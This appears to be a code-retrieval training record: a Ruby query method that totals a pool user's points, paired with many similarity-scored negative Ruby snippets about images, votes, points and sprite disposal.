"def check_our_images!\n self.gsub!(/!image (\\w+\\/)?(\\d+)!/) do\n size, id = $1, $2\n size ||= 'thumb/'\n '\"!%s/%s%d.jpg!\":%s/image/show_image/%d' %\n [IMAGE_DOMAIN, size, id, HTTP_DOMAIN, id]\n end\n end",
"def images_urls\n \timages.map{|image| image.url}\n end",
"def show\n @work = Work.find(params[:id])\n @tags = @work.tags\n @client_id = @work.client_id\n @client = Client.find(@client_id)\n @teammate_id = @work.teammate_id\n @teammate = Teammate.find(@teammate_id)\n @service = Service.find(@work.service_id)\n\n @media_asset = MediaAsset.find(:all, :conditions => { :work_id => @work.project_id })\n\n @media_asset.each do |t|\n url = t.behance_src\n if(t.image_cache_field.nil? && t.thumb_cache_field.nil?)\n @image = MiniMagick::Image.open(url)\n @cached_image = @image.clone\n @web_path = '/uploads/' + t.id.to_s + \".jpg\"\n @thumb_path = '/uploads/t_' + t.id.to_s + \"_\" + \"thumb\" + \".jpg\"\n @path_name = Rails.root.join('public', 'uploads', \"t_\" + t.id + \"_\" +\"thumb\" + \".jpg\")\n @web_path_name = Rails.root.join('public', 'uploads', t.id + \".jpg\")\n @thumb_resized = @image.resize('300x300')\n #@thumb = @thumb_resized.write(@path_name)\n @img = @cached_image.write(@web_path_name)\n t.thumb_cache_field = @thumb_path\n t.image_cache_field = @web_path\n t.save!\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: {:work => @work, :client => @client, :teammate => @teammate, :media_asset => @media_asset, :service => @service } }\n end\n end",
"def available_images\n @available_images ||= images.sort_by(&:created_at).each_with_object({}) do |image, mapping|\n key = image_key(image)\n mapping[key] = image.image_id if key != ':'\n end\n end",
"def gallery\n \n @gallery = Picture.all\n\nend",
"def local_images\n @link_collector.local_images\n end",
"def fetch_and_randomize_photos(pages)\n futures = (1..pages).map { |page| fetch_photos_future(page) }\n futures.map(&:value).flatten.compact.shuffle\n end",
"def show\n @song = Song.find(params[:id])\n @metadata = @song.metadatum\n @images = BackgroundImage.where(song_id: @song.id)\n end",
"def get_gallery\r\n\t\t\timages = ProjectImage.where(project_id: params[:id]).reorder('\"order\" asc')\r\n\r\n\t\t\trender json: { status: 0, result: images.map { |image| { id: image.id, small: image.image.url(:thumb), original: image.image.url, description: image.description } } }\r\n\t\tend",
"def update_photo_urls(records, subdirectories)\r\n\r\n updated_records = []\r\n\r\n records.each do |record_hash|\r\n\r\n urls_array = generate_image_urls(record_hash[\"photos\"], subdirectories)\r\n record_hash[\"photos\"] = urls_array\r\n updated_records.push(record_hash)\r\n\r\n end\r\n\r\n return updated_records \r\n\r\nend",
"def getimage\n if @artist.images.empty?\n @image = \"image1.jpg\"\n else\n @image = @artist.images.first[\"url\"]\n end\n end",
"def cloudinary_imgs_cara(key,instance)\n cl_image_tag(key, :quality=>\"auto\", :fetch_format=>:auto, :crop=>\"fit\", :class=>\"d-block mx-auto img-fluid rounded\", :alt=>\"#{instance.name}\")\n end",
"def get_imageinfo(files,props = :imageinfo)\n result=Array.new\n \n iiprop=CGI.escape(\"timestamp|user|url|dimensions|comment\")\n doc=Nokogiri::XML(open(\"http://commons.wikipedia.org/w/api.php?format=xml&action=query&prop=#{props.to_s}&titles=#{files}&iiprop=#{iiprop}\"))\n\n xp=\"//api/query/pages/page/imageinfo/ii\"\n xp=\"//api/query/pages/page/globalusage/gu\" if props==:globalusage\n\n ctr=0\n element=doc.xpath(xp).each do |element| \n img=Hash.new\n element.attributes.each do |a|\n img[a[0].to_sym]=element.get_attribute(a[0])\n end \n result << img\n \n @stockpile[\"#{@imagelist[ctr]}\"]=Hash.new unless @stockpile[\"#{@imagelist[ctr]}\"]\n @stockpile[\"#{@imagelist[ctr]}\"][props]=img\n ctr=ctr+1\n end\n result\n end"
] |
[
"0.64380205",
"0.6273853",
"0.62156385",
"0.61517",
"0.60718495",
"0.5930902",
"0.59281296",
"0.5866265",
"0.58563393",
"0.58509684",
"0.58436847",
"0.58327156",
"0.5784903",
"0.5781588",
"0.57815456",
"0.57768923",
"0.5705503",
"0.5699545",
"0.5675552",
"0.567388",
"0.56667817",
"0.5665055",
"0.56610733",
"0.56491816",
"0.56446236",
"0.5640556",
"0.5639401",
"0.5638488",
"0.56378275",
"0.5625784",
"0.56246454",
"0.5621207",
"0.5616554",
"0.5611234",
"0.56102234",
"0.5603738",
"0.5603392",
"0.55983764",
"0.5596238",
"0.55939674",
"0.5591369",
"0.55872905",
"0.558583",
"0.5584336",
"0.55812126",
"0.55810326",
"0.55726016",
"0.55591816",
"0.5533855",
"0.55230045",
"0.5521216",
"0.55155647",
"0.55120456",
"0.5510064",
"0.5503965",
"0.5489306",
"0.54793495",
"0.5479246",
"0.5469803",
"0.5466893",
"0.54620546",
"0.5458863",
"0.5453552",
"0.5451924",
"0.5447006",
"0.5445842",
"0.54435027",
"0.5440851",
"0.5440046",
"0.5438609",
"0.5437709",
"0.54356116",
"0.54349715",
"0.5434803",
"0.54217213",
"0.54215264",
"0.54211885",
"0.54203326",
"0.5419451",
"0.54163235",
"0.54143983",
"0.5410173",
"0.5408636",
"0.54076844",
"0.5399534",
"0.5394604",
"0.5385898",
"0.5385898",
"0.5380732",
"0.538012",
"0.537851",
"0.537523",
"0.5369639",
"0.53695345",
"0.5369426",
"0.5366703",
"0.5364988",
"0.5364928",
"0.53473127",
"0.53373015"
] |
0.6390813
|
1
|
calculate total points earned by this PoolUser.
|
def calculate_points(master_pics, scoring_system = ScoringSystems.default)
@points = 0
pics.correct(master_pics).each do |pic|
@points += pic.point_worth(scoring_system)
end
@points
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def total_points\n self.user_points.reduce(0) { |sum, points| sum + points.point_category.number_of_points}\n end",
"def total_points\n if self.has_paid?\n sum = 0\n self.bets.each { |b| sum+=b.points }\n self.answers.each { |a| sum+=a.points }\n sum\n else\n -1\n end\n end",
"def total_points\n Activity.points_for_person(id)\n end",
"def points\n @puntos = 0\n students.each do |s| \n @puntos += s.points\n end\n @puntos += house_points\n end",
"def get_total_points\n @event_points + @performance_points + @enhance_points\n end",
"def earned_points\n # FIXME: denormalize this and put points directly on recognition\n point_activities.first.amount if persisted? && (sender != User.system_user)\n end",
"def total_points\n # There are two ways to calculate the total:\n # 1. Points awarded for each place + points awarded for participating schools.\n # 2. Total of points awarded to all schools (less efficient to calculate).\n # We do both totals as a check and raise an error if they're not the same.\n total1 = 0\n @places.places_awarded.each do |p|\n total1 += @festival_info.points_for_place(p)\n end\n total1 += @participants.strict_participants.size * @festival_info.points_for_participation\n total2 = @festival_info.schools_list.map { |sc| points_for_school(sc) }.sum\n unless total1 == total2\n Err.inconsistent_total_points_for_section_result(total1, total2)\n end\n total1\n end",
"def points\n\t\tpoints = 0\n\t\tassignments.each do |assignment|\n\t\t\tpoints += assignment.worth\n\t\tend\n\t\treturn points\n\tend",
"def points\n self.answer_votes.sum(:value).to_i\n end",
"def recalculate_points\n # First, clear the points for all users and add any winners_tips points.\n users = User.all\n users.each do |u|\n u.points = 0\n if u.admin?\n # If we don't do this, there is a risk that we get the key and not \"the other\" winners_tip\n u.winners_tip = WinnersTip.where(:user_id => u.id, :key => false).first\n end\n if u.winners_tip\n u.points = u.winners_tip.points\n end\n u.save\n end\n\n # Loop through all games and add the points\n games = Game.all\n games.each do |game|\n if game.final? then\n tips = game.tips\n tips.each do |tip|\n tip.user.points += tip.points\n tip.user.save\n end\n end\n end\n end",
"def points\n votes.sum(:value)\n end",
"def points\n votes.sum(:value)\n end",
"def total_points(semester = Semester.current_semester)\n sum = 0\n\n event_mems = Array.new\n self.event_members.each do |em|\n if em.semester == semester\n event_mems << em\n end\n end\n\n if semester == \"all\"\n event_mems = self.event_members\n end\n # Calculate points from events\n event_mems.each do |event_member|\n sum += event_member.event_points.value if event_member.event_points\n end\n\n # Calculate points from tabling\n # TODO only for this semester tabling slots\n self.tabling_slot_members.where(\n status_id: Status.where(name: :attended).first\n ).each do |tsm|\n # only add points if it was from this semester\n if TablingSlot.find(tsm.tabling_slot_id).start_time >= Semester.current_semester.start_date\n sum += TablingSlot::POINTS\n end\n\n # TODO: points for other statuses\n end\n\n return sum\n end",
"def total_users\n return @total_users\n end",
"def total_users\n return @total_users\n end",
"def get_total_points_available(user_id, course_id)\r\n relative_url = Path::USERS_COURSES_GRADEBOOK_USERGRADEBOOKITEMSTOTAL % [user_id, course_id]\r\n get(relative_url)\r\n end",
"def total_points(competitor)\n scores = competitor.scores.map(&:total).compact\n\n scores.reduce(:+) # sum the values\n end",
"def points\n self.votes.inject(0) { |points, vote| points + vote.value }\n end",
"def points\n self.votes.inject(0) { |points, vote| points + vote.value }\n end",
"def sum_values\n points.sum\n end",
"def accepted_points\n total_points - remaining_points\n end",
"def display_total\n puts \"Your points: #{self.points}\"\n end",
"def point_sum(point_kind)\n mark = Mark.find_by_user_id_and_point_kind_id(self.id, point_kind.id)\n mark == nil ? 0 : mark.point_sum\n end",
"def ranked_points\n points.to_f/User.top_ranked.points.to_f * 100\n end",
"def team_points\n return @total if @total\n # This version is implemented as a database sum operation,\n # but it cannot be eager loaded so it results in 5 more\n # database queries:\n #\n # students_projects.select(:points).sum :points\n\n # This version programmatically adds the points:\n total = 0\n students_projects.each { |s| total += s.points }\n @total = total\n total\n end",
"def sum_of_point\n # Calculating point of each block\n calculate_points\n # Sum\n rubbish_count + not_clear_count + somewhat_count + understand_count\n end",
"def recalculate_points_fast\n if @game.final? then\n tips = @game.tips\n tips.each do |tip|\n tip.points = calculate_tip_points(tip)\n tip.user.points += tip.points\n tip.save\n tip.user.save\n end\n end\n end",
"def total_points\n filtered_records.limit(nil).approved.sum('completed_tasks.points * COALESCE(completed_tasks.quantity, 1)')\n end",
"def total_users=(value)\n @total_users = value\n end",
"def total_users=(value)\n @total_users = value\n end",
"def total(user)\n usage=VmUsage.new(0.0, 0, 0)\n \n @users[user].each do |id, vm|\n usage.cpu+=vm.cpu\n usage.memory+=vm.memory\n usage.num_vms+=1\n end if @users[user]\n \n usage\n end",
"def points\n @results.inject(0.0) { |t, r| t += r.points }\n end",
"def user_reputation\n tally = []\n answers.each do |answer|\n tally.push(answer.answer_votes_total)\n end\n questions.each do |question|\n tally.push(question.question_votes_total)\n end\n tally = tally.inject(:+)\n return tally\n end",
"def total_votes\n up_votes + down_votes\n end",
"def points\n made? ? (made_contract_points + overtrick_points + bonus) : undertrick_points\n end",
"def review_points\n self.reviews.map { |review| review.vote_count }.inject(:+)\n end",
"def total_paid\n self.user_expenses.reduce(0) { |sum, user_expense| user_expense.paid + sum }\n end",
"def total_users_count\n return @total_users_count\n end",
"def total_upvotes\n\t\tself.get_upvotes.sum(:vote_weight)\n\tend",
"def totalPriceTo(dest)\r\n\t\t((dest.x - @user.coordinate.x).abs + (dest.y - @user.coordinate.y).abs) * @price\r\n\tend",
"def pledge_total\n @pledges = Pledge.all\n pledge_total = 0\n @pledges.each do |pledge|\n if pledge.user_id == self.id\n pledge_total = pledge_total + pledge.dollar_amount\n end\n end\n return pledge_total\n end",
"def total_points\n Rails.cache.fetch(\"#{__method__}/#{cache_key_with_version}\") do\n points.sum(:value)\n end\n end",
"def points_granted\n self.user ? POINTS_FOR_POSTING : 0\n end",
"def calculate_points\n raise \"The bracket was not loaded\" if !@loaded\n\n calculate_team_points\n calculate_player_points\n end",
"def total\n user = User.find_by(uuid: params[:uuid])\n point = Point.where(user_id:user.id).select(:left_points,:right_points).first\n render json: { LP: point.left_points, RP: point.right_points }, status: :ok\n end",
"def average_points\n if ratings.count > 0\n ratings.collect(&:points).sum / ratings.count\n else\n 0\n end\n end",
"def total_votes\n self.votes.sum(:value)\n end",
"def get_total_price\n @user = User.find(params[:user_id])\n @total_price = @user.purchased_items.sum(\"price\")\n end",
"def points\n ((2 * base_points) / (1 + Math.exp(2 * (correct_answer - answer.to_f).abs))).to_i\n end",
"def total_point\n lecture.etcs_point\n end",
"def total_votes\n votes.sum(:weight)\n end",
"def points(game = nil)\n points = 0\n\n if game\n coeficient = Coeficient.find(game.coeficient_id)\n get_participation_by_game game do |participation|\n opponents = get_opponents(game)\n\n points = points_formula(\n coeficient.value,\n game.number_of_teams,\n participation.position,\n opponents\n )\n end\n else\n Participation.find_all_by_player_id(self.id).each do |participation|\n game = Game.find(participation.game_id)\n coeficient = Coeficient.find(game.coeficient_id)\n opponents = get_opponents(game)\n\n points = points_formula(\n coeficient.value,\n game.number_of_teams,\n participation.position,\n opponents\n )\n end\n end\n points\n end",
"def calculate_ropes_points_total(wrestler)\n\n\t\tropes_specialty_points = \n\t\t\tcalculate_ropes_specialty_points(wrestler)\n\t\tropes_points_per_roll_subtotal = \n\t\t\tcalculate_ropes_points_per_roll_total(wrestler)\n\n\t\tropes_total = ropes_points_per_roll_subtotal + \n\t\t\t\tropes_specialty_points\n\n\t\treturn ropes_total\n\tend",
"def points\n return 0 if event.trial? || event.trialed?\n\n points_if_not_trial\n end",
"def total_votes\n answers.sum(&:votes_count)\n end",
"def redeemed_points\n @passangers.reduce(0){|redeemed,pass| pass.status == :loyalty_passanger ? \n redeemed + pass.redeemed : redeemed }\n end",
"def update_participant_point_totals!\n self.affected_participant_ids.each do |id|\n User.find(id).delay(queue: 'points').update_all_points! if User.exists?(id)\n end\n end",
"def total_score\n sum = self.games.sum{|game|game.points}\n sum.to_i / self.games.count\n end",
"def update_participant_point_totals!\n self.affected_participant_ids.each do |id|\n User.find(id).delay(queue: 'points').update_all_points!\n end\n end",
"def total_users\n users.count\n end",
"def total_earnings\n # pull all trips from driver\n driver_trips = self.trips\n # driver.trips\n # iterate and determine total for each trip grab the total cost and do math\n trips_total_cost = 0\n driver_trips.each do |trip|\n if trip.cost != nil\n trips_total_cost += ((trip.cost - (1.65*100))*0.8)\n end\n end\n \n trips_total_cost /= 100\n trips_total_cost.round(2)\n return trips_total_cost\n end",
"def possible_points\n (self.evals.reduce(0) {|sum, eval| sum += eval.max_score.to_i; sum})\n end",
"def points_for(source_result, team_size = nil)\n # TODO Consider indexing place\n # TODO Consider caching/precalculating team size\n team_size = team_size || Result.count(:conditions => [\"race_id =? and place = ?\", source_result.race.id, source_result.place])\n if place_members_only?\n points = point_schedule[source_result.members_only_place.to_i].to_f\n else\n points = point_schedule[source_result.place.to_i].to_f\n end\n if points\n points / team_size.to_f\n else\n 0\n end\n end",
"def true_point_value\n\t\ttotal = 0\n\t\ttotal += points_scored\n\t\ttotal += field_goals_made * season.field_goals_made_point_value\n\t\ttotal -= field_goals_attempted * season.field_goals_attempted_point_value\n\t\ttotal += free_throws_made * season.free_throws_made_point_value\n\t\ttotal -= free_throws_attempted * season.free_throws_attempted_point_value\n\t\ttotal += three_pointers_made * season.three_pointers_made_point_value\n\t\ttotal += assists * season.assists_point_value\n\t\ttotal += total_rebounds * season.total_rebounds_point_value\n\t\ttotal += steals * season.steals_point_value\n\t\ttotal += blocks * season.blocks_point_value\n\t\ttotal -= turnovers * season.turnovers_point_value\n\t\ttotal\n\tend",
"def total_points\n stories.inject(0) do |accumulator, story|\n accumulator += story.points\n end\n end",
"def total_users()\n\t\t@@total_users += 1\n\t\tputs \"Total users : #@@total_users\"\n\tend",
"def score\r\n @health + points\r\n end",
"def points_balance\n user = User.find(params[:user_id])\n transactions = Transaction.sort_user_transactions(params[:user_id]) # sort by created_date\n payers = []\n\n transactions.each do |t|\n payer = payers.find{|p| p[:payer_name] == t.payer_name}\n if payer # if payer already exists in array\n payer[:points] = payer[:points] + t.original_points # add new points to existing balance\n else\n entry = {payer_name: t.payer_name, points: t.original_points} # create a new payer entry and add to array\n payers << entry\n end\n end\n payers.each {|p| p[:points] = p[:points].to_s + \" points\"} # convert to \"100 points\" format\n\n render json: payers\n end",
"def total_point(team)\n team[:players].collect { |player| player[:points] }.sum\nend",
"def vote_total\n if self.votes.length > 0\n self.votes.reduce(0){|sum, vote| sum + vote.value}\n else\n self.votes.length\n end\n end",
"def calculate_player_points\n # Sort the teams by points in descending order. This way, the output will\n # follow the teams' finishing order, which will be easier to read.\n @teams.sort_by(&:points).reverse_each do |team|\n puts \"Awarding #{team.points} points to #{team.name}: \" +\n @players[team.id].map(&:to_s).join(\", \")\n\n @players[team.id].each do |player|\n player.points = team.points\n end\n end\n end",
"def total_points\n\n points = 0\n wattball_matches_as_team1.each do |match|\n points += match.points(1) || 0\n end\n\n wattball_matches_as_team2.each do |match|\n points += match.points(2) || 0\n end\n\n points\n end",
"def total_points(competitor)\n if @unicon_scoring\n total = 0\n competitor.competition.judge_types.uniq.each do |jt|\n total += total_points_for_judge_type(competitor, jt)\n end\n else\n total = total_points_for_judge_type(competitor, nil)\n end\n\n total\n end",
"def total_spent\n total_cost = 0\n trips.each do |trip|\n total_cost += trip.cost\n end\n return total_cost\n end",
"def score\n # add score caching\n total = 0\n self.votes.each do |vote|\n total += vote.value\n end\n total\n end",
"def calculate_score\n #set default user score value to 0 in the database but to prevent any errors and remove database dependencies i am including this line in the model as well\n score || 0\n self.games.each do |game|\n score+=game.points\n end\n score\n end",
"def total_votes\n self.get_upvotes.size - self.get_downvotes.size\n end",
"def total\n base_query.sum('max_candidates')\n end",
"def add_points\n user = User.find(params[:user_id])\n\n if transaction_params[:points] < 0 # This is for negative additions - possible input per instructions\n payer_balance = user.payer_points_subtotal(transaction_params[:payer_name])\n points_to_deduct = transaction_params[:points] * -1\n # Do not deduct more points than user's total payer sub-balance\n if payer_balance - points_to_deduct < 0 # must be enough points from given payer in the account\n render json: {error: \"Can't deduct more than user's total payer sub-balance\"}, status: :not_acceptable\n else\n removed_points = Transaction.deduct_points(user.id, points_to_deduct, transaction_params[:payer_name])\n removed_points.size > 0 ? (render json: removed_points, each_serializer: RemovedTransactionSerializer) : (render json: removed_transactions.to_json)\n end\n\n else # Positive additions - usual use case\n transaction = user.transactions.new(payer_name: transaction_params[:payer_name], points: transaction_params[:points], original_points: transaction_params[:points])\n if transaction.valid?\n transaction.save\n render json: transaction, serializer: TransactionShowSerializer\n else\n render json: {errors: transaction.errors}, status: :bad_request\n end\n end\n end",
"def calculate_participants\n update(participant_counter: user_bookings.map(&:participants_number).sum)\n end",
"def num_points\n @size * @size\n end",
"def comment_points\n self.comments.map { |comment| comment.vote_count }.inject(:+)\n end",
"def total\n votes.sum(:value)\n end",
"def vote_sum\n sum = 0.0\n votes.each do |v|\n sum += v.value\n end\n sum\n end",
"def assigned_user_count\n return @assigned_user_count\n end",
"def total_users_count=(value)\n @total_users_count = value\n end",
"def current_average\n earned = self.current_points\n possible = self.section.points_assigned\n \n (earned.to_f / possible)*100\n end",
"def update_current_user_points\n current_user.update_attributes(:points => User.update_points(current_user.id))\n end",
"def leader_score\n score = 0\n ungrouped_users = []\n users = User.all\n \n users.each do |user|\n ungrouped_users << user if user.groups.empty?\n end\n \n ungrouped_users.each do |ungrouped_user|\n if self.has_compatible_meeting_time_with(ungrouped_user)\n score += (self.number_of_compatible_meeting_times_with(ungrouped_user) * 2) + self.number_of_compatible_time_blocks_with(ungrouped_user.schedule)\n end\n end\n \n score\n end",
"def score\n votes.sum(:vote)\n end",
"def calculate\n self.total\n end",
"def point_list\n @user_point = UserPoint.find_by_user_id(current_user.id)\n end",
"def update_user_points(user)\n user.update_attributes(:points => User.update_points(user.id))\n end",
"def calc_total_xp\n total = 0\n get_shared_xp_fields.each do |m|\n total += send(m) \n end\n self.total_xp = total\n\n self.level = XPModel.level(total_xp)\n self.xp_to_next_level = XPModel.xp_to_next(total_xp)\n end",
"def average(points)\n points.reduce(V.new) { |sum, point| sum += point } / points.size\n end",
"def accumulate_points(points)\n points.map{|point| point.value}.reduce(0, :+)\n end",
"def user_lifetime_balance(user)\n reservations_balance = reservations.where(user: user).sum(:price)\n game_passes_balance = game_passes.where(user: user).sum(:price)\n\n reservations_balance.to_f + game_passes_balance.to_f\n end",
"def points\n deal_points = tricks_points @tricks\n\n if not deal_points.inside? bid_said_by_team\n deal_points.add_points_to(bid_said_by_team, MatchPoints::VALAT_BONUS) if valat?\n\n if not @mode.is_a? DoubleMode\n @mode.match_points deal_points\n else\n Points.zeros[bid_said_by_team] = doubling_points deal_points, @mode\n end\n elsif deal_points.inside? bid_said_by_team\n deal_points.add_points_to(opposing_team, MatchPoints::VALAT_BONUS) if valat?\n\n Points.zeros[opposing_team] = doubling_points deal_points, @mode\n elsif deal_points.hanging?\n if not @mode.is_a? DoubleMode\n @mode.match_points deal_points\n else\n doubled_points = doubling_points deal_points, @mode\n\n result = Points.zeros\n result[bid_said_by_team] = doubled_points / 2\n resutl[opposing_team] = doubled_points / 2\n\n result\n end\n end\n end",
"def total\n @total\n end",
"def total_deposit\n self.group_loan_memberships.sum(\"deposit\")\n end"
] |
[
"0.77317023",
"0.70932996",
"0.706385",
"0.6909247",
"0.6790843",
"0.67686915",
"0.67536867",
"0.67048717",
"0.6671766",
"0.6650956",
"0.66420424",
"0.66420424",
"0.6628927",
"0.657589",
"0.657589",
"0.6517112",
"0.6511768",
"0.64529413",
"0.64529413",
"0.63079053",
"0.6300366",
"0.6272917",
"0.6258995",
"0.62472254",
"0.62458676",
"0.6242471",
"0.621728",
"0.6211264",
"0.62021375",
"0.62021375",
"0.61550426",
"0.61539733",
"0.6134461",
"0.60961217",
"0.60769063",
"0.6068075",
"0.60535043",
"0.6053103",
"0.6050121",
"0.60207725",
"0.60164285",
"0.59791625",
"0.5966944",
"0.5958738",
"0.594239",
"0.5931171",
"0.5914316",
"0.59053636",
"0.5900868",
"0.58859885",
"0.58811295",
"0.5875726",
"0.58722144",
"0.583773",
"0.58264554",
"0.58152527",
"0.58107126",
"0.58076453",
"0.5802859",
"0.5799818",
"0.57949406",
"0.5792868",
"0.57895744",
"0.57894266",
"0.5788423",
"0.5787112",
"0.5785633",
"0.577344",
"0.57600206",
"0.5754056",
"0.57534605",
"0.5746621",
"0.57279164",
"0.5719602",
"0.5708687",
"0.57086843",
"0.5703441",
"0.57004195",
"0.56976986",
"0.56950337",
"0.5676896",
"0.56616616",
"0.56597203",
"0.5659542",
"0.5658387",
"0.564796",
"0.5639985",
"0.5638669",
"0.56383175",
"0.5636421",
"0.5634588",
"0.5627982",
"0.562025",
"0.5619446",
"0.56147444",
"0.5601818",
"0.55990225",
"0.5597491",
"0.55963004",
"0.5591385"
] |
0.57477546
|
71
|
Free Splash Image from Memory
|
def dispose_splashscreen
@sprite.bitmap.dispose
@sprite.dispose
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cleanup\n self.image = nil\n GC.start\n end",
"def cleanup\n self.image = nil\n GC.start\n end",
"def unload_image(image_handle)\n end",
"def dispose_maqj_picture\n @maqj_picture_sprite.dispose if @maqj_picture_sprite\n end",
"def dispose_battleback_bitmap\n @battleback_sprite.bitmap.dispose\n end",
"def dispose\n @sprite.bitmap.dispose unless bitmap_disposed?\n @sprite.dispose unless disposed?\n return nil\n end",
"def dispose\n @pkmnbmp.dispose\n pbDisposeSpriteHash(@sprites)\n @disposed = true\n end",
"def dispose\n for key in @sprites.keys\n @sprites[key].dispose\n end\n @viewport.dispose\n end",
"def purge_image\n image.purge_later\n end",
"def dispose\n @sprite.bitmap.dispose unless @sprite.bitmap.nil? or @sprite.bitmap.disposed?\n @sprite.dispose unless @sprite.nil? or @sprite.disposed?\n end",
"def dispose\n dispose_backgrounds\n dispose_sprites\n dispose_weather\n dispose_timer\n dispose_viewports\n end",
"def dispose_gameover_graphic\n @sprite.bitmap.dispose\n @sprite.dispose\n end",
"def dispose_bitmaps\n @used_bitmap.compact.each do |bmp|\n bmp.dispose unless bmp.disposed?\n end\n end",
"def free\n cache.clear\n nil\n end",
"def finish\n return if self.disposed?\n for key in @sprites.keys\n @sprites[key].opacity -= 16\n end\n self.dispose if @sprites[\"bg\"].opacity <= 0\n end",
"def dispose_pictures\n for sprite in @picture_sprites\n sprite.dispose\n end\n end",
"def onlineBitmap(url)\n pbDownloadToFile(url,\"_temp.png\")\n return if !FileTest.exist?(\"_temp.png\")\n self.bitmap = pbBitmap(\"_temp\")\n File.delete(\"_temp.png\")\n end",
"def dispose\n self.bitmap.dispose\n @layout.bitmap.dispose\n @layout.dispose\n @layoutEquipment.bitmap.dispose\n @layoutEquipment.dispose\n @layoutPotions.bitmap.dispose\n @layoutPotions.dispose\n @icons.bitmap.dispose\n @icons.dispose\n @info_keys.bitmap.dispose\n @info_keys.dispose\n super\n end",
"def dispose\n # Dispose all of the sprites\n @tile_sprites.each {|set| set.each{|tile| tile.dispose }}\n @tile_sprites.clear\n @animating_tiles.clear\n end",
"def update_bitmap\n if @picture.name.empty?\n self.bitmap = nil\n else\n self.bitmap = swap_cache(@picture.name)\n end\n end",
"def remove_cached_images\n UserAssetService.remove_assets_from_remote(\"branding_groups/#{self.id}\")\n end",
"def dispose\n if @background.bitmap != nil\n @background.bitmap.dispose\n @background.bitmap = nil\n end\n @background.dispose\n super\n end",
"def dispose_vpic\n return unless @var_pictures\n @var_pictures.each do |pic|\n next if pic.nil?\n pic.dispose\n end\n end",
"def free!\n memory_map.transform_values! { |_| FREE }\n end",
"def dispose\n keys = [\"back\", \"sel\", \"name\", \"confirm\", \"cancel\"]\n for i in 0..5\n keys.push(\"pocket#{i}\")\n end\n for key in keys\n @sprites[key].dispose\n end\n pbDisposeSpriteHash(@items)\n @disposed = true\n end",
"def pbDisposeSprite(sprites,id)\n sprite=sprites[id]\n if sprite && !pbDisposed?(sprite)\n sprite.dispose\n end\n sprites[id]=nil\nend",
"def delete_cache_and_img\n # -- out with the old -- #\n\n finger = self.fingerprint_changed? ? self.fingerprint_was : self.fingerprint\n imgfinger = self.image_fingerprint_changed? ? self.image_fingerprint_was : self.image_fingerprint\n\n if finger && imgfinger\n # -- delete our old cache -- #\n Rails.cache.delete(\"img:\"+[self.asset.id,imgfinger,self.output.code].join(\":\"))\n\n # -- delete our AssetOutput -- #\n path = self.asset.image.path(self)\n\n if path\n # this path could have our current values in it. make sure we've\n # got old fingerprints\n path = path.gsub(self.asset.image_fingerprint,imgfinger).gsub(self.fingerprint,finger)\n\n self.asset.image.delete_path(path)\n end\n end\n\n true\n end",
"def release\n if pointer.kind_of?(::FFI::MemoryPointer) && !pointer.null?\n pointer.free\n end\n while uri = @raptor_uri_list.pop\n V1_4.raptor_free_uri(uri) unless uri.nil? || uri.null?\n end\n end",
"def clear_chache\n #@thumbnail = nil\n #@screenshots = nil\n end",
"def dispose_pre_transition\n @transition_sprite.dispose\n @sceenshot.bitmap.dispose\n @sceenshot.dispose\n end",
"def update_bitmap\n if @picture.name.empty?\n self.bitmap = nil\n else\n self.bitmap = swap_cache\n self.mirror = false\n end\n end",
"def before_destroy\n path = c_dir+\"#{self.code}.jpg\"\n FileUtils.rm path if File.exist? path\n end",
"def cleanupSprites\n @spriteManager.cleanupSprites\n end",
"def destroy_image(key)\n return unless key.is_a?(String) && !key.empty?\n name, ext = key.split('.')\n self.transaction do\n record = find_by_name name\n # do nothing if not found\n return unless record\n if record.refcount > 1\n record.refcount -= 1\n record.save\n else\n if record.keep_till && record.keep_till > Time.now\n record.refcount = 0\n record.save\n else\n record.purge_image_data\n record.delete\n end\n end\n end\n cleanup_temporary_image\n end",
"def pbLoadPokemonIcon(pokemon)\n return AnimatedBitmap.new(pbPokemonIconFile(pokemon)).deanimate\nend",
"def pbDisposeSpriteHash(sprites)\n if sprites\n for i in sprites.keys\n pbDisposeSprite(sprites,i)\n end\n sprites.clear\n end\nend",
"def exit_func(state)\n # clear screen\n RaspiGL::GLES.glClear(RaspiGL::GLES::GL_COLOR_BUFFER_BIT)\n RaspiGL::EGL.eglSwapBuffers(state.display, state.surface)\n\n # Release OpenGL resources\n RaspiGL::EGL.eglMakeCurrent(state.display,\n RaspiGL::EGL::EGL_NO_SURFACE,\n RaspiGL::EGL::EGL_NO_SURFACE,\n RaspiGL::EGL::EGL_NO_CONTEXT)\n RaspiGL::EGL.eglDestroySurface(state.display, state.surface)\n RaspiGL::EGL.eglDestroyContext(state.display, state.context)\n RaspiGL::EGL.eglTerminate(state.display)\n\n # release texture buffers\n #free(state.tex_buf1)\n #free(state.tex_buf2)\n #free(state.tex_buf3)\n\n puts(\"\\ncube closed\")\nend",
"def cleanup_temporary_image\n self.transaction do\n self.where('keep_till < ?', Time.now).all.each do |record|\n if record.refcount > 0\n record.keep_till = nil\n record.save\n else\n record.purge_image_data\n record.delete\n end\n end\n end\n end",
"def remove_game_icon()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_remove_game_icon(@handle.ptr)\n end",
"def dispose_menu_background\n @menuback_sprite.dispose\n end",
"def free_memory\n if @status[ 'Memory' ][ 'Active' ]\n if deallocate_memory\n @status[ 'Memory' ][ 'Amount' ] = 0\n @status[ 'Memory' ][ 'Active' ] = false\n end\n end\n end",
"def update_bitmap\n @effectus_old_name = @picture.name\n if @effectus_old_name.empty?\n self.bitmap = nil\n else\n self.bitmap = Cache.picture(@effectus_old_name)\n @effectus_center_x = bitmap.width / 2\n @effectus_center_y = bitmap.height / 2\n end\n end",
"def destroy_avatar\n self.avatar.purge if self.avatar.attached?\n end",
"def dispose_battlefloor\n @battlefloor_sprite.dispose\n end",
"def free(off)\r\n Ragweed::Wrap32::virtual_free_ex(@h, off)\r\n end",
"def dispose_battleback\n @battleback_sprite.dispose\n end",
"def terminate\n super\n dispose_spriteset\n end",
"def dispose\n call Memory.deAlloc(self)\n end",
"def dispose\n call Memory.deAlloc(self)\n end",
"def uninstall(assets); end",
"def cleanup\n winrm.run_cmd( \"del #{base64_file_name} /F /Q\" )\n winrm.run_cmd( \"del #{command_file_name} /F /Q\" )\n end",
